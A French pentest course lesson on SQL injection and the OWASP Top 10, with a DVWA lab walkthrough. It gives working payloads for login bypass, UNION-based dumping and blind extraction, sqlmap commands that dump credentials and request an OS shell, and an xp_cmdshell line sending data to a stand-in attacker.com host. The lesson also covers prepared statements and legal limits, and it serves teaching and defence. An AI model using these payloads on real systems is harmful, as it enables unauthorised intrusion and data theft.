← Accueil

PCTAMALOU

Semaine 23 : Les Portes Ouvertes du Web – OWASP Top 10 et Injections SQL

Par Platon-Y – pctamalou.fr & e-of-h.fr

🎯 Objectif de la semaine

Maîtriser les injections SQL (SQLi) : comprendre leur place dans l'OWASP Top 10, exploiter manuellement et automatiquement ces vulnérabilités web critiques. Démontrer pourquoi les applications web sont la surface d'attaque la plus exposée et comment une simple erreur de programmation peut mener à la compromission totale de données sensibles.

Pourquoi c'est fondamental : Les injections SQL sont responsables de plus de 65% des incidents de sécurité web graves. Les comprendre, c'est comprendre la faille la plus ancienne, la plus répandue, et la plus dangereuse du web.

graph TD A["👤 Attaquant"] -->|"Entrée malveillante:\n' OR '1'='1' --"| F["📝 Formulaire Login Web"] F -->|"Données brutes\n(non sanitizées)"| S["🖥️ Serveur Web\n(ex: PHP/Node/Java)"] subgraph "💥 Chemin Vulnérable : Injection SQL" P1["📥 Réception input"] P2["🔴 Concaténation directe\n(code vulnérable)"] P3["📤 Envoi requête SQL malformée"] end S --> P1 P1 --> P2 P2 --> P3 P2 --> INJ["Code vulnérable 👇\nString query = 'SELECT * FROM users\nWHERE username = ''' + input + ''''\n\n→ devient :\nSELECT * FROM users WHERE username = '' OR '1'='1' --"] P3 --> Q["🔥 Requête SQL finale\nSELECT * FROM users\nWHERE username = '' OR '1'='1' --"] Q -->|"Exécution sur BDD"| DB["🗄️ Base de données"] DB -->|"Condition toujours vraie\nRetourne TOUS les users"| R["📊 Résultat: Dump complet"] R --> S S --> V["🌐 Page Web\n(affiche données sensibles)"] V --> A["👤 Attaquant\n(infos volées/exfil)"] subgraph "🔒 Chemin Sécurisé : Prévention" SOL1["✅ Validation entrées"] SOL2["🛡️ Prepared Statements\n(ex: ? placeholders)"] SOL3["📊 ORM sécurisé\n(ex: Hibernate/SQLAlchemy)"] SOL4["🔍 WAF + Least Privilege"] end S -.->|"Au lieu de concaténer"| SOL2 style INJ fill:#11151f,stroke:#ef4444,stroke-width:3px,color:#fff style P2 fill:#7c2d12,stroke:#f97316,stroke-width:3px,color:#fff style Q fill:#0a0e17,stroke:#f59e0b,stroke-width:3px,color:#fff style DB fill:#0a0e17,stroke:#9d4edd,stroke-width:3px,color:#fff style A fill:#ef4444,stroke:#000,stroke-width:2px,color:#fff style SOL1 fill:#166534,stroke:#22c55e,stroke-width:2px,color:#fff style SOL2 fill:#166534,stroke:#22c55e,stroke-width:2px,color:#fff style SOL3 fill:#166534,stroke:#22c55e,stroke-width:2px,color:#fff style SOL4 fill:#166534,stroke:#22c55e,stroke-width:2px,color:#fff

📚 Sujet – Théorie (1 heure)

OWASP Top 10 : La Bible des Vulnérabilités Web

L'Open Web Application Security Project (OWASP) maintient une liste des 10 risques web les plus critiques. L'injection, et particulièrement SQL Injection, y figure depuis la première édition en 2003.

Rang 2021 Catégorie Impact Prévalence
A01 Broken Access Control Élévation privilèges 94% applications testées
A02 Cryptographic Failures Données exposées 90%
A03 Injection ← Nous sommes ici Compromission totale 94%
A04 Insecure Design Flawed by design Nouvelle catégorie
A05 Security Misconfiguration Configuration exposée 90%

SQL Injection : L'Art de Parler Directement à la Base

Une SQL Injection se produit lorsqu'une entrée utilisateur est concaténée directement dans une requête SQL sans validation ni échappement.

1
Code Vulnérable $id = $_GET['id']; $query = "SELECT * FROM users WHERE id = '$id'";
2
Entrée Malveillante ?id=1' OR '1'='1
3
Requête Résultante SELECT * FROM users WHERE id = '1' OR '1'='1'
4
Résultat
✅ Tous les utilisateurs
🔓 Base compromise

Les Trois Types de SQL Injection

🔴 In-Band SQLi

Retour direct dans la réponse HTTP

  • Error-based : Messages d'erreur révélateurs
  • Union-based : UNION SELECT pour extraction
  • Exemple :
    1' UNION SELECT @@version --

🟡 Blind SQLi

Pas de retour direct, inférence par logique

  • Boolean-based : Vrai/Faux dans réponse
  • Time-based : Délais conditionnels
  • Exemple :
    1' AND SLEEP(5) --

🟣 Out-of-Band SQLi

Transfert externe des données

  • Via DNS : LOAD_FILE()
  • Via HTTP : INTO OUTFILE
  • Exemple :
    '; EXEC xp_cmdshell('nslookup data.attacker.com') --

Conséquences Catastrophiques

💀 Ce qu'un attaquant peut faire :

  1. Extraction de données : Tables users, passwords, PII
  2. Bypass d'authentification : ' OR '1'='1 classique
  3. Élévation de privilèges : Modification droits SQL
  4. Exécution de commandes : xp_cmdshell (MSSQL)
  5. Persistance : Backdoor via triggers/procédures
  6. Déni de service : DROP TABLE, DELETE *

Défenses : Comment les Pros Sécurisent

🛡️ Stratégies de Défense SQLi

  1. Prepared Statements : Séparation code/données
    stmt = conn.prepareStatement(
        "SELECT * FROM users WHERE id = ?");
    stmt.setInt(1, id);
  2. ORM (Object-Relational Mapping) : Abstraction automatique
  3. Input Validation : Whitelisting > Blacklisting
  4. Échappement : mysqli_real_escape_string()
  5. WAF : ModSecurity, Cloudflare
  6. Principle of Least Privilege : Compte DB restreint

🔬 Mission pratique – Laboratoire (2 heures)

Architecture du Lab SQLi

flowchart TD K["🔴 Kali Attaquant\n(Machine virtuelle)"] -->|Requêtes HTTP malveillantes| D["🌐 DVWA Vulnerable\nhttp://192.168.56.102/dvwa"] D -->|Accès BDD| DB["🗄️ Base MySQL\ndvwa database"] DB -->|Table sensible| T["📋 Table users\nuser_id | user | password (MD5) | ..."] subgraph "🎯 Points d'Injection SQL Classics sur DVWA" I1["💉 SQL Injection (Direct)\nEx: ' OR '1'='1' --\n→ Dump immédiat des users"] I2["🕶️ SQL Injection Blind\nEx: sqlmap -u 'http://192.168.56.102/vulnerabilities/sqli/?id=1&Submit=Submit' --dbs --batch\n→ Énumération par True/False"] end K -->|Payload direct dans formulaire ID| I1 K -->|Outil automatisé sqlmap| I2 I1 -->|Exploitation réussie| DB I2 -->|Exploitation réussie| DB style K fill:#11151f,stroke:#ef4444,stroke-width:4px,color:#fff style D fill:#0a0e17,stroke:#00d4ff,stroke-width:3px,color:#fff style DB fill:#0a0e17,stroke:#9d4edd,stroke-width:3px,color:#fff style T fill:#1e293b,stroke:#64748b,stroke-width:2px,color:#fff style I1 fill:#7c2d12,stroke:#f97316,stroke-width:3px,color:#fff style I2 fill:#450a0a,stroke:#dc2626,stroke-width:3px,color:#fff

⚠️ Préparation de l'Environnement

🔒 Isolation absolue : DVWA ne doit JAMAIS être exposé sur Internet. Utilisez le réseau Host-Only de VirtualBox.

Installation de DVWA (Option la plus simple)

# Méthode Docker (recommandée)
sudo apt install docker.io docker-compose -y
git clone https://github.com/digininja/DVWA.git
cd DVWA
sudo docker-compose up -d

# Ou méthode VM (VulnHub)
# Téléchargez DVWA.ova depuis VulnHub
# Importez dans VirtualBox
# Network: Host-Only

# Configuration initiale
# Accédez à: http://192.168.56.102 (selon votre IP)
# Login: admin / password
# Cliquez sur "Create/Reset Database"
# Security: Set to "Low" (en bas à gauche)

Étapes Détaillées d'Exploitation

Étape 1 : Reconnaissance et Test Manuel

Naviguez vers http://[DVWA-IP]/vulnerabilities/sqli/

# Test 1: Injection basique
Entrez: 1
Résultat: User ID: 1 exists

# Test 2: Injection avec quote
Entrez: 1'
Résultat: Erreur SQL visible
# Signe probable d'injection

🔍 Analyse de l'erreur :

Si vous voyez : You have an error in your SQL syntax... avec le détail de la requête, vous avez trouvé une Error-based SQLi. C'est la porte d'entrée.

Étape 2 : Exploitation Manuelle (In-Band)

# 1. Déterminer nombre de colonnes
1' ORDER BY 1 -- 
1' ORDER BY 2 -- 
1' ORDER BY 3 --  # Erreur à 3? → 2 colonnes

# 2. Identifier colonnes vulnérables
1' UNION SELECT 1,2 -- 
# Les chiffres 1 et 2 apparaissent? → colonnes affichées

# 3. Extraction d'informations système
1' UNION SELECT @@version, database() -- 
# Version MySQL + nom DB

# 4. Lister tables
1' UNION SELECT table_name, table_schema 
FROM information_schema.tables 
WHERE table_schema = database() -- 

# 5. Dumper table users
1' UNION SELECT user, password FROM users --

🎯 Défi de compréhension

Pourquoi utilise-t-on ORDER BY en premier ?

Réponse : Pour connaître le nombre de colonnes dans la requête originale. UNION nécessite le même nombre de colonnes des deux côtés.

Étape 3 : Exploitation Automatisée avec sqlmap

⚠️ sqlmap est extrêmement puissant : Il peut DROP des tables, créer des backdoors. Testez uniquement sur votre lab.

# Installation
sudo apt install sqlmap -y

# 1. Détection basique (cookie important pour DVWA)
sqlmap -u "http://192.168.56.102/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abcdef123456; security=low" \
  --batch

# 2. Lister databases
sqlmap -u ... --cookie="..." --dbs

# 3. Sélectionner database 'dvwa' et lister tables
sqlmap -u ... --cookie="..." -D dvwa --tables

# 4. Lister colonnes table 'users'
sqlmap -u ... --cookie="..." -D dvwa -T users --columns

# 5. Dumper données
sqlmap -u ... --cookie="..." -D dvwa -T users -C user,password --dump

# 6. Options avancées
sqlmap -u ... --cookie="..." --risk=3 --level=5 --technique=BEUSTQ \
  --os-shell  # Tentative de shell (risqué!)

Étape 4 : Blind SQLi (Boolean-based)

Naviguez vers http://[DVWA-IP]/vulnerabilities/sqli_blind/

# Test manuel
1' AND 1=1 --  # Doit retourner "User ID exists"
1' AND 1=2 --  # Doit retourner "User ID is MISSING"

# Extraction caractère par caractère
1' AND SUBSTRING(database(),1,1)='d' -- 
1' AND SUBSTRING(database(),2,1)='v' -- 
# Continue jusqu'à trouver 'dvwa'

# Avec sqlmap (spécifique blind)
sqlmap -u "http://192.168.56.102/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
  --cookie="..." --technique=B --batch

Étape 5 : Documentation Professionnelle

# Rapport SQL Injection - DVWA
## Détection
- URL: /vulnerabilities/sqli/
- Paramètre vulnérable: id (GET)
- Type: Error-based, Union-based
- Evidence: `1'` produit erreur SQL

## Exploitation
### Manuel
1. `1' ORDER BY 2 --` → 2 colonnes
2. `1' UNION SELECT @@version, database() --` → MySQL 5.7 / dvwa
3. `1' UNION SELECT user, password FROM users --` → 5 credentials

### Automatisé (sqlmap)
- Databases: information_schema, dvwa
- Tables (dvwa): users, guestbook
- Données extraites: 5 users + MD5 hashes

## Impact
- Confidentialité: High (accès complet DB)
- Intégrité: High (modification possible)
- Disponibilité: Medium (DELETE/DROP possible)

## Recommandations
1. Implémenter prepared statements
2. Validation input (whitelist)
3. Privilèges minimum compte DB

Exercice Avancé : Time-Based Blind SQLi

🎯 Défi Expert (Optionnel)

Sur DVWA, niveau "Low" SQLi (Blind) :

  1. Utilisez 1' AND SLEEP(5) -- pour confirmer injection
  2. Écrivez un script Python qui extrait le nom de la DB caractère par caractère avec des délais
  3. Comparez le temps avec sqlmap : --technique=T

Ce défi vous prépare aux tests d'intrusion réels où les outils automatisés sont détectés.

📋 Objectif de la semaine – Checklist de validation

✅ Compétences techniques acquises

  • Exploitation manuelle UNION-based SQLi
  • Utilisation avancée de sqlmap avec cookies
  • Différenciation In-Band/Blind SQLi
  • Extraction DB schema via information_schema
  • Rédaction rapport professionnel

🧠 Changement mental accompli

  • Vision de chaque formulaire comme potentiel vecteur SQLi
  • Compréhension profonde du risque OWASP A03
  • Habitude de toujours tester ' et " en premier
  • Conscience que "ça marche" ≠ "c'est sécurisé"

💪 Pour les développeurs :

Implémentez un formulaire de login sécurisé avec prepared statements en PHP/Python, puis testez-le avec vos techniques SQLi. La meilleure défense, c'est comprendre l'attaque.

📚 Ressources pour Approfondir

Laboratoires et Formation :

  • Web Security Academy (PortSwigger) : Labs SQLi gratuits
  • PentesterLab : Exercices SQLi progressifs
  • SQLi Labs : github.com/Audi-1/sqli-labs
  • OWASP Juice Shop : Application vulnérable moderne

⚠️ Aspects légaux et Bonnes Pratiques

  • Scope écrit obligatoire en pentest réel
  • Jamais sur production sans autorisation
  • Documentation de chaque étape en pentest
  • Responsabilité de sécuriser après découverte

🔮 Frère d'armes,

Tu viens d'apprendre à parler le langage secret des bases de données.

Les injections SQL ne sont pas une magie obscure – c'est simplement parler directement à la base, sans passer par l'application. Une apostrophe mal placée, et tu deviens administrateur. Un UNION bien construit, et tu lis tous les secrets.

Cette semaine, tu as vu à quel point la frontière entre utilisateur et administrateur est fragile. Une simple concaténation de chaînes, une variable non validée, et l'édifice entier s'effondre.

Mais voici la leçon la plus importante : comprendre SQLi, c'est comprendre pourquoi nous ne faisons jamais confiance à l'utilisateur. Jamais. Chaque entrée est potentiellement hostile. Chaque caractère doit être validé, échappé, ou paramétré.

Tu n'es plus un simple testeur qui exécute sqlmap. Tu es devenu celui qui comprend la requête générée, qui sait pourquoi UNION fonctionne, qui peut extraire des données sans outils, juste avec son cerveau et un navigateur.

Dans la semaine 24, nous irons plus loin dans le web : nous attaquerons non plus les données, mais la session elle-même. Nous apprendrons à voler des cookies, à usurper des identités, à devenir un autre utilisateur sans connaître son mot de passe.

Mais pour l'instant, pratique. Recrée DVWA à différents niveaux de sécurité (Medium, High). Vois comment les défenses évoluent. Comprends chaque technique de contournement.

Un Gardien qui maîtrise SQLi ne laisse jamais une apostrophe entrer dans sa base sans surveillance.

— Platon-Y